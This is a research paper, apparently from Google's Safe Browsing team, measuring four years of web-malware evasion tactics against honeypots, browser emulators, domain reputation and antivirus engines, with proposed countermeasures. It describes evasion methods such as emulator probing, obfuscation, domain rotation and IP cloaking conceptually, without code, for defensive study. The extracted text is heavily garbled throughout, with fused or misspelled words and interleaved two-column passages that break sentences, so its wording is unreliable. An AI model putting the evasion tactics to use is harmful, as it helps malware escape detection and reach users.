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ABSTRACT

Malicious web sites that compromise vulnerable computersaa
ever-present threat on the web. The purveyors of these aites
highly motivated and quickly adapt to technologies thatérpro-
tect users from their sites. This paper studies the regudtims race
between detection and evasion from the point of view of Geegl
Safe Browsing infrastructure, an operational web-malvelatec-
tion system that serves hundreds of millions of users. Wé/aea
data collected over a four year period and study the mostlpopu
practices that challenge four of the most prevalent wehwaz
detection systemdirtual Machine client honeypot8rowser Em-
ulator client honeypot<lassification based on domain reputation
andAnti-Virus enginesOur results show that none of these systems
are effective in isolation. In addition to describing sfiiecineth-
ods that malicious web sites employ to evade detection, weyst
trends over time to measure the prevalence of evasion & soat
results indicate that exploit delivery mechanisms are fyéeg in-
creasingly complex and evasive.

1. INTRODUCTION

Malicious web sites capable of compromising vulnerable -com

This paper makes the following contributions: (1) an arialp$
the prevalence and impact of different evasion techniggeiat
the four most popular web malware detection systems. (2yaln e
uation that shows how these detection systems complemeht ea
other to improve detection rates. (3) an investigation efdbm-
plexity of JavaScript on the web and how it relates to evas{dh
a study of which vulnerabilities have been targeted by weafe
malware and measure how this makeup has changed over time.
Our analysis raises awareness about the evasive tacticetist
be considered when developing operational web malwaretitate
systems.

2. BACKGROUND

The attack surface of the modern web browser is quite large.
Web-based malware can target vulnerabilities in the browssf,
or against the myriad of plugins that extend the browser t© ha
dle, for example, Flash, Java applets, or PDF files. A vulnikiya
in any of these components may be leveraged to compromise the
browser and the underlying operating system. As a prerite tits
exploiting a user, an adversary needs to expose the userisér
to malicious payloads. This can be achieved by sending ait ema
IM to the user containing a URL to a malicious server, or by eom

puters have been on the rise for many years. As web pages have,omising web servers and injecting references to malicimde

become more interactive and feature-rich, the complexitthe
browser and the software components involved in renderiely w
content has increased significantly. Over the last few yedmsost
any browser including support for technologies such as¥:-l#m/a,
PDF or QuickTime has been susceptible to so calkdge-by down-
load attacks that allow adversaries to run arbitrary softwareon
vulnerable computer system.

The difficulty of discovering malware on the web is amplified
by the fundamental conflict between those who identify arodHbl
malicious content and those who attempt to evade deteatidist
tribute malware. The resulting arms race has led to manylnove
approaches for identifying web-based malware. Despiteititer-
est, there has been no dedicated study analyzing whethgipeva
techniques are effective, and more importantly, whethey tre
being actively pursued to stealthily distribute malwarisTpaper
seeks to answer these questions.

We study four years of data collected by Google's web-mawar
detection systems, which leverages four of the most popusdr
malware detection technologiedrtual Machine client honeypats
Browser Emulator client honeypot€lassification based on do-
main reputation andAnti-Virus enginesOur analysis reveals that
adversaries actively try to evade each of these systemspitBes
this, our results indicate that combining multiple typescbént
honeypots can improve detection rates.

*Research conducted as an intern at Google.

into the content served to users [17].

Many different approaches for detecting malicious web eont
have been proposed. In the following we review the most preva
lent: Virtual Machine Honeypots, Browser Emulation Honetg
Classification based on Domain Reputation, and Virus Sigeat

Virtual Machine Honeypots. Several VM-based detection sys-
tems have been proposed in the literature [10, 16, 15, 198y
typically detect exploitation of the web browser by moniitgrchanges
to the operating system, such as the creation of new pragesise
changes to the file system or registry. Here, the virtual rimech
functions as a black box since no prior knowledge of vulniéirab
ties or exploit techniques is required.

HoneyMonkey [19] launches Internet Explorer against a URL
and after waiting for several minutes determines if suspisifile
system changes were made. To detect zero-day exploitsathe s
URL is evaluated in Windows systems with different patctelsy
Moshchuk et al. [10] went further in that their system alsokked
for newly created processes as well as file system writesnitét i
ated by the browser. In previous work [16], we demonstrated t
VM-based web-malware detection could be scaled to scarga lar
portion of the web and presented statistics on Svanillion drive-
by download URLs.

While virtual machines run a complete software system angd ma
detect exploits of yet unknown vulnerabilities, precisgégtermin-
ing what resource triggered the exploit or which vulneigabivas



targeted may be difficult. Additionally, managing multipM&! im-
ages with different combinations of exploitable softwacenpo-

only reveal exploit code if the test passes. Often, this ik o
packers that fail to deobfuscate malicious payloads ifaderton-

nents can be an arduous task. Browser emulation has been proditions are not met. While the set of potential differencesngen

posed to address these shortcomings.

Browser Emulation. Instead of deploying VM honeypots, one can
emulate a browser and use dynamic analysis to identify @splo
JSAND by Cova et al. [3] follows this approach and emulates a
browser to extract features from web pages that indicat&inas
behavior. PhoneyC [13] is another Browser Emulator. Itudels
support for JavaScript and VBScript as well as the abilityrto
stantiate fake ActiveX objects. Modules with signatureskimown
vulnerabilities allow PhoneyC to detect exploits againsgins.
Browser emulators can pinpoint the exploited vulnerabéind
even establish a chain of causality including every singi ne-
quest involved in a drive-by download. On the other hand,lamu
tors cannot detect exploit attempts against unknown vabikties
and must be updated to handle quirks in mainstream browsers a
they are discovered.

Reputation Based Detection. In the absence of malicious pay-
loads, it is possible to take a content-agnostic approachatsify
web pages based on the reputation of the hosting infragteict
Felegyhazi et al. leverage DNS properties to predict nevicioalk
domains based on an initial seed [4]. Lee et al. developeds\at
dynamic reputation system for DNS, that can flag domains dis ma
cious weeks before they appear on public blacklists [1]hédigh
Notos is not meant for detecting malicious web pages, a aimil
approach can be followed by flagging pages that include ressu
that are hosted on malicious domains.

Signature Based DetectionTraditional Anti-Virus (AV) systems
operate by scanning payloads for known indicators of nalisi
ness. These indicators are identified by AV signatures, lwimast
be continuously updated to identify new threats. Typicalbcked
executables or HTML must be unpacked before performinglmatc
ing. For web pages, this might involve HTML parsing or rudime
tary JavaScript execution. If unpacking is not possible efigines
may flag a binary as malicious solely by detecting the preseific
the packer. For JavaScript, AVs focus on detecting the poesef
heavy obfuscation. Oberheide et al. showed that combinimg-m
ple AV engines can significantly improve the detection rag [

3. EVADING DETECTION

In Section 2, we discussed different approaches for detgoia-
licious web pages. Just as these approaches are being edpemi+
versaries are becoming more skilled at hiding maliciousexan To
better understand how adversaries attempt to stay undeadiae,
we present an overview of common tactics that we encounter.

Social engineering has emerged as a growing malware distrib
tion vector [18]. In social engineering attacks, the usersised to
install a malware binary under false pretenses. Sociaheeging
attacks challenge automated detection systems by reguarini-
trarily complex interaction before delivering the paylpaterac-
tion that can be difficult to simulate algorithmically.

Attacks that target specific software configurations can ctigl-
lenge VM honeypots that employ a VM image with a different OS,
browser, or set of plugins. Even if one deploys multiple VMages
with different software components, selecting the imagscan a
target page is challenging [3], and resource limitationghtie-
duce the number of times a page can be scanned with diffevant ¢
figurations.

To evade browser emulators, AV engines, or manual analysis,
adversaries can test for idiosyncratic properties of tloevber and

emulators and real browsers is large, we have found that tigst
ically fall into three high-level categoriedavaScript Environment
Compatibility, Parser CompatibilityandDOM Completeness

In the case of an IE-specific exploit, code can probe the ta&S
Environment for differences between IE’s proprietary Boript
engine and open source JavaScript engines [12, 11, 5], velnech
more likely employed by emulators. This typically goes b&yo
simply testing for properties in theavi gat or object, and fo-
cuses instead on more arcane differences, e.g., changesROM
caused by CSS, which are typically not implemented by emula-
tors that do not need to handle rendering. One can also iden-
tify semantic differences in both JavaScript and HTML pesse
for instance, IE's JavaScript parser allowsbetweent ry and
cat ch clauses, while other JavaScript parsers do not. Perhaps one
of the most challenging properties to emulate is the DOM ef th
browser, especially when accounting for the bugs exhitibtedif-
ferent browsers’ DOM implementations. For instance, |E® vV
will add extra nodes to the DOM when encountering incoryectl
formed HTML. Concrete examples of each of these phenomena
can be found in Appendix A.

While adversaries often turn to elaborate technical cantgrto
evade detection, a simple yet powerful approach is to clgaknat
scanners by serving malicious content to users but benigteeb
to the detector. While there are many forms of cloaking, is th
paper we focus on arguably the most simple and effectiveoaghr
cloaking at the IP level. To do so, malicious servers simpfyse
to return malicious content to requests from certain |IP esksks.

4. EXPERIMENTAL SETUP

The goal of this paper is to measure forms of circumvention de
scribed in Section 3 and determine whether the use of evesive
tics has increased over the last several years. To do so, algzen
the data collected by Google’s Safe Browsing infrastrefl6], a
large-scale web malware detection system. The data geddvgt
this system is used by more th&®0 million users per week and is
therefore the target of many forms of evasion. Moreoversise
tem classifies sites using VM-based client honeypots, a Beow
Emulator, Signature-based AV engines, and Domain Reputati
and is thus ideal for evaluating how evasion affects eachede
popular technologies.

4.1 System Overview

The malware detection pipeline takes as input a large caspus
URLs from a variety of sources. For example, we select URsfr
Google’s web index using both random sampling and a machine
learning classifier that is tuned to identify pages thatyikentain
malware [16]. We also sample URLs that match trending search
queries, as well as user-reported URLs. The selectiorrieriter
the data has not changed significantly over the course oftody.s

Each URL is fed to a VM-based honeypot, which browses to the
URL with an unpatched version of Internet Explorer that hag-p
ular plugins and runs on an unpatched Windows OS. The system
records host and network activity, including new proces#lesys-
tem changes, registry changes, and network fetches. Adlankt
fetches and system state changes are stored in a Bigtabier[2]
post processing.

Once a VM has processed a URL, a scoring modedggeScorer,
analyzes the saved content to identify malicious behafiost, all
network fetches are scanned by multiple AV engines and redtch
against an internal list of domains that are known to serd&inas
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Figure 1: The diagram shows a high-level overview of Googls’
web-malware detection system. VMs collect data from web
pages and store it in a database for analysid?ageScorer lever-
ages multiple scorers to determine if a web page is malicious

content; see Section 4.1.2. NeRbgeScorer instructs a Browser
Emulator to reprocess the content that was retrieved by tie V
to identify exploits. The Browser Emulator uses the stored-c

the site deliver an exploit during a drive-by download.

In addition to assessing whether a domain is serving majware
the classifier also examines network requests to that dofra@in
IP addresses not associated with our organization. Thiggllis to
determine whether domains are cloaking against our systé¢ine a
network level. We call such domai@doaking Domainsthey are
domains that distribute malware and also actively try tadevde-
tection. Distribution and Cloaking Domains make up our Doma
Reputation data, which is fed back irfageScorer to improve de-
tection rates for drive-by downloads.

4.2 Data Collection

In order to study evasion trends we leverage two distinca dat
sets. The first seData Set |, is the data that is generated by our
operational pipeline, i.e., the output BégeScorer. It was gener-
ated by processing 1.6 billion distinct web pages collected be-
tween December 1, 2006 and April 1, 2011. This data is useful f
studying trends that we observe in real time. The limitatiotih
this data is that we continuously tweak our algorithms toriomp
detection, thus any trends observed frBarta Set | could be due
to either changes in the web pages that we are processing, or t

tent as a cache and thus does not make any network fetches; sefnprovements to our algorithms. To eliminate this uncetjaiwe

Section 4.1.1. FinallyPageScorer uses a decision tree classifier
to combine the output of the VM, AV Engines, Reputation Store
and Browser Emulator to determine whether the page attempte
to exploit the browser; see Figure 1. The outputPageScorer,
including whether the page caused new processed to be spawne
whether it was flagged by AV engines, which exploits it caméai,
and whether it matched Domain Reputation data, is storeagalo
with the original data from the VM for future analysis.

A description of our VM-based honeypots and AV engine inte-
gration has been previously published [16, 17]. Since thehave
added Browser Emulation and a Domain Reputation pipelirietwh
we briefly summarize below to familiarize the reader with daga
collection process.

4.1.1 Browser Emulation

Our Browser Emulator is a custom implementation similar to
other mainstream emulators including PhoneyC [13] and J3 S}l
We thus believe that its performance is representative ofvBer
Emulators in general.

Briefly, the Browser Emulator is built on top of a custom HTML
parser and a modified open-source JavaScript engine. Itroots
a DOM and event model that is similar to Internet Explorereie
sure a faithful representation of IE, we have modified alspes to
handle |IE-specific constructs; for examples, see AppendiXte
Emulator detects exploits against both the browser andltieips
by monitoring calls to known-vulnerable components, ad as!|
monitoring DOM accesses.

The emulator can also perform fine-grained tracing of JawpiSc
execution. When running in tracing mode, it records evengfion
call and the arguments to those calls, e.g. we record whickDO
functions were called and which arguments were passed to. the
This allows for more detailed analysis of exploitation teicjues,
which we explore later in the paper.

4.1.2 Domain Reputation

The domain reputation pipeline runs periodically and anedy
the output of AV engines and the Browser Emulator to deteemin
which sites are responsible for launching exploits andisgmal-
ware. We call these sitéBistribution Domains The pipeline em-
ploys a decision-tree classifier to decide whether a sitelistebu-
tion domain. Features include, for example, whether we kaea

introduce our second data sBiyta Set Il.

Data Set Il is created as follows. First, we select a group of
pages fromData Set . We sample pages from the time period be-
tween December 1, 2006 and October 12, 2010 that were marked
as suspicious by the VM-based honeypot, the Browser Enrulato
the AV scanners, or our Reputation data. Note that this doés n
meanPageScorer classified these pages as malicious. For exam-
ple, if an AV engine flagged a page but the other scoring com-
ponents did not, then the page would not be classified as bad by
PageScorer, but it would be added to the sample. In this way the
sample includes every bad page that our pipeline processad o
the four year period, as well as some other “suspicious” patye
addition to these pages, our sample also includes 1% of ‘aibar
suspicious” pages selected uniformly at random from theestame
period.

For each of these pages, vescorethe original HTTP responses
and VM state changes that were stored in our database usiega fi
version ofPageScorer from the end of October, 2010. This version
consisted of algorithms and data files, including AV signafiles,
from the end of the data collection period. By fixing the scaove
ensure that any observable trends are due to changes inttne da
and are not due to the evolution of our algorithms. The ougput
this rescore comprisd3ata Set II.

In sum,Data Set Il consists of~160 million distinct web pages
from ~8 million sites. We enabled JavaScript tracing on a subset
of this data, comprising-75 million web pages from-5.5 million
distinct sites.

In this paper the ternsite refers to a domain name unless the
domain corresponds to a hosting provider. In the latter,cdi$e
ferent host names are indicative of separate content oyws@rge
take the host name as the site. For exampie,p: / / www. cnn.
com andhttp://live.cnn.conl both correspond to the
sitecnn. com wherea$t t p: // f 0o. bl ogspot. conf pagel.
ht M andhttp://bar. bl ogspot. conf page2. html are
mapped td 0o. bl ogspot . comandbar . bl ogspot . com re-
spectively. Throughout this paper we provide statisticatsite
level, and aggregate data by month. We do this to avoid skatv th
could occur if our sampling algorithm selected many pagesifr
the same site. For example, if the system encountered &xpic
given month on two URLSs that belong to the same site, we count
only one exploit.
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Figure 2: The graph shows the total number of sites per month
in Data Set Il. The large spike in 2008 is due to the unexpected
appearance of a benign process that caused many more pages
to be included in our analysis during that time.

Figure 2 shows the number of siteddata Set Il for each month,
both with and without JavaScript tracing, along with thetaium-
ber of sites containing pages that were marked as drive-by€do
loads inData Set Il. The large spike in the fall of 2008 is due
to a misconfiguration ifPageScorer, which mistakenly labeled a
benign process as malicious. This did not result in any rass
fication at the time since no other scanners produced caratibg
signals. Our results are also unaffected by the misconfiigurbe-
cause it was fixed before we reclassified the data. Ignoriegtit-
lier, on average the data set consists-387, 000 sites per month,
of which ~257,000 launched drive-by downloads andl 70, 000
were processed with JavaScript tracing enabled.

Our data set comes with some caveats. First, we are measurin
the trends observed by our systems. If we never observed mali
cious behavior from a given malware campaign, then the tesul
are not included in our study. We believe, however, that Goog
Safebrowsing’s position provides a useful vantage poitat imal-
ware on the web. Second, results derived frData Set Il can-
not be compared to real-time performance of other techimedog
Data Set Il is generated using data, e.g., AV signatures, and al-
gorithms that might not have been available when the pages we
originally encountered. Third, while reclassifying pagesreate
Data Set Il ensures that modifications to our algorithms do not cre-
ate artificial trends, the pages that compiiketa Set || were se-
lected because they originally exhibited suspicious biehas de-
termined byPageScorer. To alleviate the impact of this potential
bias, we add a 1% random sample, constitutirgg® million URLS,
as well as include pages that were originally classified apisu
cious, but not malicious. This ensures tliadta Set Il includes
pages that our algorithms may have missed in the past. Fourth
we believe that false positives are rare in our data set. iStd§-
ficult to quantify in an operational setting, but in our expace,
based on internal analysis, reports from users, web masteds
St opBadwar e. or g/ , the system generates negligible false pos-
itives. Over four years of operation we have had fewer thaaralh
ful of incidents causing false positives.

5. TRENDS IN EVASION

In Section 3 we discussed the possible ways in which makciou
web pages can be designed to resist detection. This sectan a
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Figure 3: The graph shows the number of sites involved in So-
cial Engineering attacks compared to all sites hosting malare
or exploits.

lyzes the data generated by the detection infrastructuserited

in Section 4. We assess the extent to which techniques thadehi
automatic detection are employed by adversaries on thenbtte
We focus on the challenges that face each of the four detectio
techniques, and discuss potential measures to adapt tatioels
challenges.

5.1 Challenges for VM-based Detection

As mentioned earlier, social engineering is an emergirachtt
trend that could potentially limit the effectiveness of based de-
tection schemes. To measure whether adversaries empiayaoc
gineering techniques, we analyzBdta Set Il with heuristics [18]

o identify pages that were likely generated from templates

loyed by Fake AV campaigns. Figure 3 shows the number of so-

cial engineering sites detected monthly relative to adissitvolved

in distributing malware or exploits. The prevalence of abein-
gineering has increased over the last four years. Althoeghlar
malware sites still constitute abc@8% of all distribution sites, we
see an increase in the number of sites employing social eegin
ing. In January 2007, there was only one site distributingerRa/,
whereas by September, 2010 this number increaséo.

One example of user interaction frequently found on Fake-Ant
Virus pages is a dialog that requires a mouse click beforela ma
ware binary is sent to the browser. This can be a dialog fran th
system, or a dialog simulated by the web page with images & CS
To assess the extent to which malware authors have adopsed th
technique, we instrumented our operational VM system tiaiiei
mouse clicks on the current web page. We then evaluated each
social engineering site twice: once without any interacdod an-
other time with mouse clicking enabled. We examined a sulfset
210,000 pages fronData Set | from October 1, 2010 to April 1,
2011 and compared the percentage of malware downloadstin bot
cases. With clicking enabled, we measured% increase of mal-
ware binaries downloaded by the VMs.

There are several possible explanations for the incregmsipg-
larity of social engineering attacks: (1) These attacksaceessful
even if no exploitable vulnerabilities are present in thenser en-
vironment; (2) For Fake AV, social engineering provides iecti
route to monetization; (3) Social engineering attacks méke
based detection harder since malicious payloads appegrabnl
ter user interaction with the browser. The first explanaieams
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Figure 4: The heat map shows the relative distribution of ex-
ploits encountered on the web over time. Every second CVE is
labeled on the Y-axis.

less likely as exploitable vulnerabilities were preserliversions
of Internet Explorer and popular plugins during the courew
study. Regardless of the motive, social engineering postai
lenge to VM-based honeypots must be accounted for.

Countermeasures.These results show that VM honeypots without
user interaction may not detect web pages distributing @mi@wia
social engineering. In addition to simulating user intéragwith
the VM, one can also improve detecting by pursuing a sigeatur
based approach [18].

5.2 Browser Emulation Circumvention

We hypothesize that drive-by download campaigns primarity
ploy two tactics to circumvent Browser Emulation: rapidanmo-
ration of zero-day exploits, and heavy obfuscation thajdsr dif-
ferences between the emulator and a browser. We consideirbot
this section.

Exploit Trends. Once a vulnerability becomes public, it is quickly
integrated into exploit kits. As a result, Browser Emulataeed
to be updated frequently to detect new vulnerabilities. ighlight
the changing nature of exploitation on the web, we show tte re
tive prevalence of each of the 51 exploits identified by owviser
Emulator inData Set Il in Figure 4. We see that 24 exploits are rel-
atively short lived and are often replaced with newer explaihen
new vulnerabilities are discovered. The main exceptiorhi® is
the exploit of the MDAC vulnerability which is part of most@wit
kits we encounter and represented by the dark line at therbaif
the heat map. This data highlights an important opportufaty
evasion. Each time a new exploit is introduced, adversadgs a
window to evade Browser Emulators until they are updatedh®f
51 exploits that we tracked, the median delay between pdisic
closuré and the first time the exploit appearedData Set Il was
20 days. However, many exploits appear in the wild even ledfor
corresponding vulnerability is publicly announced. Tablghows
the 20 CVEs that have the shortest delay between public aiweeu
ment and when the exploit appearediata Set II.

Obfuscation. To thwart a Browser Emulator, exploit kits typically
wrap the code that exercises the exploit in a form of obfiseat

1As recorded aht t p: / / web. nvd. ni st. gov/ .

| CVE# Adays| CVE# A days |
2008-3008 4 2008-0015 -3
2009-4324 2|| 2007-5779 -3
2008-2463 2|| 2007-3148 -3
2008-0955 2| 2008-1472 -6
2007-4983 2|| 2010-0886 -7
2009-0075 1|l 2009-3672 -10]
2010-2883 0| 2007-5064 -35
2010-1818 0|l 2009-2496 -36)
2010-0806 -3|| 2007-6144 -87|
2008-0623 -3|| 2008-6442 -242

Table 1: Number of days after public release of vulnerabiliy
(A days) that exploits were seen iData Set Il. Negative num-
bers indicate that the exploit was seen before public releas

that may not execute correctly in an emulated environmeuit, b
will work correctly in a real browser. This generally resuln
complex run-time behavior. To measure whether adversares
turning to such techniques we examined the data that was-gene
ated with JavaScript tracing enabledData Set Il and computed
three different complexity measures:

e Number of function callmeasures the number of JavaScript
function calls made in a trace.

e Length of strings passed to function catk®asures the sum
of the lengths of all strings that are passed to any useretifin
or built in JavaScript function.

e DOM Interactionmeasures the total number of DOM meth-
ods called and DOM properties referenced as the JavaScript
executes.

We first consider the number of JavaScript function calls enad
when evaluating a page. To establish a baseline we counted th
number of function calls made during normal page load foheac
of the benign web pages Data Set Il. We also counted the num-
ber of function calls made before delivering the first expfor
each of the malicious pages in oData Set II. As our analysis is
based on sites rather than individual web pages, we combate t
average value for sites on which we encounter multiple wefepa
in a given month. While sites with exploits are less frequban
benign sites, our analysis finds betweefi0 and~ 150 thousand
unique sites containing exploits per month with the exceptf
the first few months in 2007 where the overall number of aradyz
sites is smaller.

Figures 5 and 6 show th#0)%, 50% and80% quantiles for the
number of function calls for both benign and malicious webssi
In Figure 5, we see an order of magnitude increase in the nuofibe
JavaScript function calls for benign sites. Figure 6 showkange
of over three orders of magnitude for the median for sitesdlea
liver exploits. At the beginning of 2007, we observed ab2ut
JavaScript function calls, but the number of function cpiaped
to ~7,000 in 2008, and again t@0, 000 in December 2009.

The number of JavaScript function calls in Figure 6 exhibée-
eral distinct peaks and valleys. These can be explained bphes-
nomena. First, certain exploits require setup that empiogse
function calls than others. The decrease in number of fancti
calls in Autumn 2008, and again in the end of 2010 correspond
to the increasing prevalence of exploits against RealPIgG¢E-
2008-1309) and a memory corruption vulnerability in IE (GVE
2010-0806). The proof-of-concept exploits that were wespinto
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Figure 5: The graph shows the number of JavaScript function Figure 6: The graph shows the number of JavaScript function

calls for benign web sites. Over the measurement period, we calls for web sites with exploits. We count only the function

observe an order or magnitude increase for the median. calls leading up to the first exploit. We observe an increasefo
over three orders of magnitude for the median over the mea-
surement period.
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Figure 7: The graph shows the string length complexity mea- Figure 8: The graph shows the string length complexity mea-

sure on benign pages. sure on pages with exploits.

exploit kits made few function calls, spraying the heap wsithple Figures 7 and 8 for this metric on benign and malicious pages,
string concatenation. However, the increased count at égab spectively. As with the number of function calls, we see a-gen
ning of 2009 and early 2010 correspond to exploits targetivy eral upward trend. We believe these trends are influenced byor
other memory corruption bugs in IE, CVE-2009-0075, and CVE- packers than by choice of exploit. The reason for this is tiegtp
2010-0249. The proof-of-concept for these exploits pregpanem- sprays generally do not pass long strings to method callse wie
ory by allocating many DOM nodes with attacker controlletega  ten they concatenate strings or add strings to arrays. These
and thus required many function calls to launch the expkst trends measure changes in packers over time. Clearly, aszthe
Appendix C and D for example source code. of exploit kits and the complexity of packing algorithms @reso

The second phenomenon that explains the general upward tren does the total amount of data that must be deobfuscated.
is the appearance of new JavaScript packers that obfusgdee c Another way to assess the complexity of JavaScript is tordete
using cryptographic routines such as RSA and RC4, which make mine which DOM functions are called before reaching an ekplo
many function calls. To trigger an exploit, it is usually matces- This measurement captures obfuscation that probes therinepl-
sary to call many functions. For example, our system enevadt tation of a Browser Emulator for completeness. We instrusten
exploits for CVE-2010-0806 for the first time in March 2010t A our JavaScript engine to record the usag&ddOM functions and

that time, the median number of functions calls to explait vhl- properties that are commonly used or involved in DOM margpul
nerability was only7, whereas the median rose8o3 in July 2010. tions, see Appendix E. We then compute the relative frequehc
Thus we attribute the rise in complexity to obfuscation nteéan these calls for both benign pages, and pages that delivéoiexp
thwart emulation or manual analysis. Figures 9 and 10 show heat maps plotting the relative frezjesn

Next we consider the total string length complexity meas8ese of each DOM function or property. The darkness of each erfpy r
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Figure 9: The heat map shows the DOM functions utilized by Figure 10: The heat map shows the DOM functions utilized by

benign web pages over time.

resents the fraction of sites that utilize that specific DQidtion
or property.

For benign pages, the number of DOM accesses has increased a
the web has become more interactive and feature rich. Fogiben
web sites, we note that the indices of the most common fumgtio
are3 and13, which refertadocunent . body andget El enent Byl d
respectively. DOM access patterns for sites that delivploéts are
remarkably different as significantly fewer DOM interactsoare
found. Two indices7 and31 stand out. They refer tor eat eEl enent
andset At t ri but e respectively. These two functions are em-
ployed to exploit MDAC (CVE-2006-0003) [8] which has been
popular since 2006 and is part of most exploit kits. While-Fig
ure 9 shows that thel ear At t ri but es function is not com-
monly used in benign web pages, we see a sudden increas@of it i
exploits in February 2009. This coincides with the publiease
of exploits targeting CVE-2009-0075; see Appendix C.

Further examination of this exploit indicates that the \dly
mechanism has been updated over time to exercise an inggeasi
number of DOM API functions. When the exploit was first re-
leased, it made use of only the three functions that are sanes
to launch the exploitcr eat eEl enent , cl ear At tri but es,
andcl oneNode?. Over time, however, there was a steady uptick
in the number of non-essential DOM functions that were deble-
fore delivering the payload; see Figure 11. Starting in M&@10,
about20% of sites exploiting this vulnerability also make calls to
appendChi | d and read nner HTM.. In May 2010, more DOM
functions are called to stage the exploit. This change irabieh
indicates that the JavaScript to stage the exploit has becoare
complex, likely to thwart analysis.

Countermeasures.The trends in exploitation technique and each
of the complexity measures indicate that the perpetratodsive-

by download campaigns are devoting significant effort talsavad-
ing detection. In order to keep pace with zero-days and chfien
techniques, Browser Emulators should be frequently update
facilitate such updates, it is possible to monitor the sysier un-
expected errors or to compare its output to AV engines or a VM
infrastructure to identify potential deficiencies. Oneldaalso rely

on these other technologies to address inherent limitstifmm in-
stance VM honeypots can be used to detect zero-days. Wezanaly

2We did not labet| oneNode as a function of interest during our
analysis.

exploit JavaScript over time.
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Figure 11: The heat map shows the DOM functions utilized to
exploit CVE-2009-0075. The graph shows that only two DOM
functions are required to trigger the exploit, but that over time
the DOM interactions have become more complex.

the relative performance of our Browser Emulator in Secion

5.3 AV Circumvention

AV engines commonly use signature-based detection toifgient
malicious code. While it is well-known that even simple parsk
can successfully evade this approach, we wanted to unddrgta
impact of evasion techniques at a large scale. Specificatlynea-
sured two aspects of evasion. First, we studied whetherfdscdit-
ing web content would significantly improve detection rat8ec-
ond, we studied how often AV vendors change their signatires
adapt to both False Positives and False Negatives.

To study the impact of deobfuscation, we leveraged our Beows
Emulator and hooked all methods that allow for dynamic ithgec
of code into the DOM, e.qg., by recording assignmentrioer HTM..
The line labeledDeobfuscatedn Figure 12 shows the percent of
additional sites ifData Set Il that were flagged by AV engines only
after providing the engines with this injected content. sTthiasti-
cally improves performance of the AV engines, in some cages b
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Figure 12: The graph shows the monthly percentage of sites
with changing virus signals betweerData Set | and Data Set Il.
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Figure 13: The graph shows malware distribution chain lengh
over time.

To study the impact of changes to AV signatures, we compared  gyading classification by Domain Reputation Data simply in-

our AV classifications for each page ata Set |l to its original
classification inData Set I. Figure 12 shows the percentage of
sites with at least one virus signal change. The line lababidkd
shows the percentage of sites that had AV signal3ita Set 11 but
not in Data Set I. As the graph shows, a significant percentage of
sites have new virus signals when they are rescored. Thesgeh
could be due to three causes: (1) delay in signature updatag i
operational environment; (2) AV vendors pruning signatuseer
time; and (3) Improvements of AV signatures over time by Avive
dors. We believe that the discrepancy is due to (3), sincepve u
date our AV signatures every two hours in our operationdirggt
and one of our AV vendors confirmed that only the signaturas th
cause false positives are pruned. This implies that AV esgygan
suffer from significant false negatives in operationalisgtt. Look-
ing back only one year, abod0% of the sites with virus signals
were only seen iData Set Il. The line labeledRemovedhows the
percentage of sites with pages that were flagged by AV engines
Data Set | but not inData Set Il. These removals are likely due
to signatures that produced false positives. The genevahaard
trend for each of the three plots can be explained by the iattets
we come to the end of the data collection period, the AV sigeest
that were used for botDBata Set Il andData Set | become similar
to one another.

Both of these experiments indicate that while AV vendorsetr
to improve detection rates, in real time they cannot adedyde-
tect malicious content. This could be due to the fact thaeedv
saries can use AV products as oracles before deploying imadic
code into the wild.

Countermeasures. Our results show that the JavaScript packing
employed by malware distribution sites has a direct impache
accuracy of AV scanners and that Signature-based AV detectin
suffer from both false negatives and false positives. Nugless,
some procedures can improve detection. To maintain optinhesm
tection, one should continuously update virus definitidbee can
also improve detection by using multiple AV engines. Pesttie

best way to improve upon AV detection rates is to use them as agg

componentin a larger system.

5.4 Circumventing Domain Reputation

volves registering more domains to distribute malware s Heiner-
ally involves two steps: registering domains en masse, atithg
up redirectors to send traffic to these domains. To measemegr
in registering new domains, we computed the observedritebf
distribution domains irData Set Il. We estimate a lower bound
for lifetime as the interval between the time the site firgtegred
in our data to the last time it appeared in our data. We ignites s
that appeared only once, or whose life span is less than litesin
In total we observed-1.6 million distribution domains, of which
~ 295,000 appeared only once, and 330,000, had a lifespan
of less than 10 minutes. The median lifetime reduced sigmiflg
over our data collection period; from over one month betwaZeGv
and 2009, down to one week in July 2010, and dow? kmurs in
October 2010.

In addition to domain rotation, adversaries attempt todweputation-
based detection by setting up intermediary sites whosesopose
is to funnel traffic to distribution site. Figure 13 shows ltegth of
malware distribution chains over time Data Set Il. The median
is about one to two domains. Several sites use longer disiib
chains with 80" percentile of about hops. The maximum chain
length we observed waX) hops. In many cases, a single redirec-
tor funnels traffic to several distribution sites. We measduthe
out-degree of sites involved in these chains and obsenatcbout
35% of intermediary sites redirected to more than one distidiout
site. One notable example is a site that, at the time of thisngr
is still active and redirected to ovér600 malicious sites.

Countermeasures.We observed domain rotation frequently through-
out our study. We believe that this is an attempt to evadetagipu-
based signals, or public domain blacklists. Two possiblenter-
measures to this type of evasion are: (1) successfullyifjass
redirectors as belonging to a campaign; and (2) classifgguyes-
sively at the IP level. The second countermeasure is coatplic

by hosting providers that are typically abused by miscieamit

also serve legitimate sites.

IP Cloaking

IP Cloaking can be the most effective form of evasion, siiice i
thwarts any sort of detection by client honeypots or AV ergin
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Figure 14: The graph shows how many compromised sites in-
clude content from cloaking sites inData Set Il

For an adversary, IP-based cloaking is simple to deploy andlly
requires only small changes to the web server’s configuratiee
Appendix B. To understand trends in IP cloaking, we computed
the number of sites that actively cloak against our scanmgrsy
data fromData Set II. As described in Section 4, this detection is
built into our Domain Reputation pipeline, and involvegites for
content changes from different IP addresses. To measuakictp

in Data Set Il, we aggregated the sites that we had discovered to
cloak against our scanners, and counted how often resofiores
those sites were included by page®iata Set I1.

Figure 14 shows the number of sites per month that include con
tent from domains known to be cloaking. The graph peaks in Au-
gust 2009 at ovez00, 000 sites infected by cloaking domains. That
peak coincides with a large-scale attack, where thousainsises
were infected to redirect tgunbl ar . cn, which actively cloaked
our scanners.

Although the increase in the graph is partly due to improved d
tection of cloaking domains in our system, we believe thas it
representative of the general state of cloaking. In ouratjmeral
practice, we continuously monitor compromised web sitesthn
malicious resources they include. In 2008, we discoveratsitime
malware domains no longer returned malicious payloadsiteym+
tem but still did so to users. As a result, we developed detefbr
cloaking. At the time of this writing, IP cloaking contritas signif-
icantly to the overall number of malicious web sites foundoloy
system. See Section 6 for a more detailed analysis.

Countermeasures.Our data indicates that IP-based cloaking has
drastically increased over the lifetime of our data coltatt If an
adversary is suspected of cloaking against a set of knowrdiP a
dresses, a detector can also initiate scans via a set of Hessds
unknown to the adversary. Observed differences in thesa ext
scans likely indicates cloaking. It is important to rateilifetches
